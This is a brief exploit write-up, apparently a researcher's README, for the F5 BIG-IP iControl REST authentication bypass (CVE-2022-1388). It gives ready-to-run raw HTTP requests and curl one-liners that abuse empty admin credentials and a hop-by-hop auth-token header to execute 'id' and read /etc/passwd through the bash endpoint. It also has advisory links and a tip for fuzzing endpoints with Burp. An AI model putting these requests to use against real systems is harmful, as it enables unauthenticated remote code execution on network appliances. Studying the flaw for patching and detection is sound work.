F5 BIG-IP RCE exploitation (CVE-2022-1388)

POST (1):

POST /mgmt/tm/util/bash HTTP/1.1
Host: <redacted>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0

{"command": "run" , "utilCmdArgs": " -c 'id' " }

curl commandliner:

$ curl -i -s -k -X $'POST' \
-H $'Host: <redacted>:8443' \
-H $'Authorization: Basic YWRtaW46' \
-H $'Connection: keep-alive, X-F5-Auth-Token' \
-H $'X-F5-Auth-Token: 0' \
-H $'Content-Length: 52' \
--data-binary $'{\"command\": \"run\" , \"utilCmdArgs\": \" -c \'id\' \" }\x0d\x0a' \
$'https://<redacted>:8443/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080

POST (2):

POST /mgmt/tm/util/bash HTTP/1.1
Host: <redateced>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0

{"command": "run" , "utilCmdArgs": " -c ' cat /etc/passwd' " }

curl commandliner:

$ curl -i -s -k -X $'POST' \
-H $'Host: <redacted>:8443' \
-H $'Authorization: Basic YWRtaW46' -H $'Connection: keep-alive, X-F5-Auth-Token' \
-H $'X-F5-Auth-Token: 0' \
--data-binary $'{\"command\": \"run\" , \"utilCmdArgs\": \" -c \' cat /etc/passwd\' \" }\x0d\x0a\x0d\x0a' \
$'https://<redacted>/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080

Note:

Issue could be related between frontend and backend authentication "Jetty" with empty credentials "admin: <empty>" 
+ value of headers ,see "HTTP hop_by_hop request headers"...

My BIG-IP now fixed:

References and Fixes :

• https://support.f5.com/csp/article/K23605346
  
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388

Here the documentation used latest nites:

• https://clouddocs.f5.com/api/icontrol-rest/

HTTP hop_by_hop request headers:

• https://portswigger.net/research/top-10-web-hacking-techniques-of-2019-nominations-open

F5 iControl REST Endpoint Authentication Bypass Technical Deep Dive by horizon3

• https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/

My notes:

• Updated with my icontrol endpoints and commands list used on my research (extracted from public documentation)
• Could use Burp with "cluster bomb" or "Battering ram" (simple list) e.g

Payload1: icontrol_api_endpoints.txt
Payload2: icontrol_api_commands.txt

Author

Alex Hernandez aka (@_alt3kx_)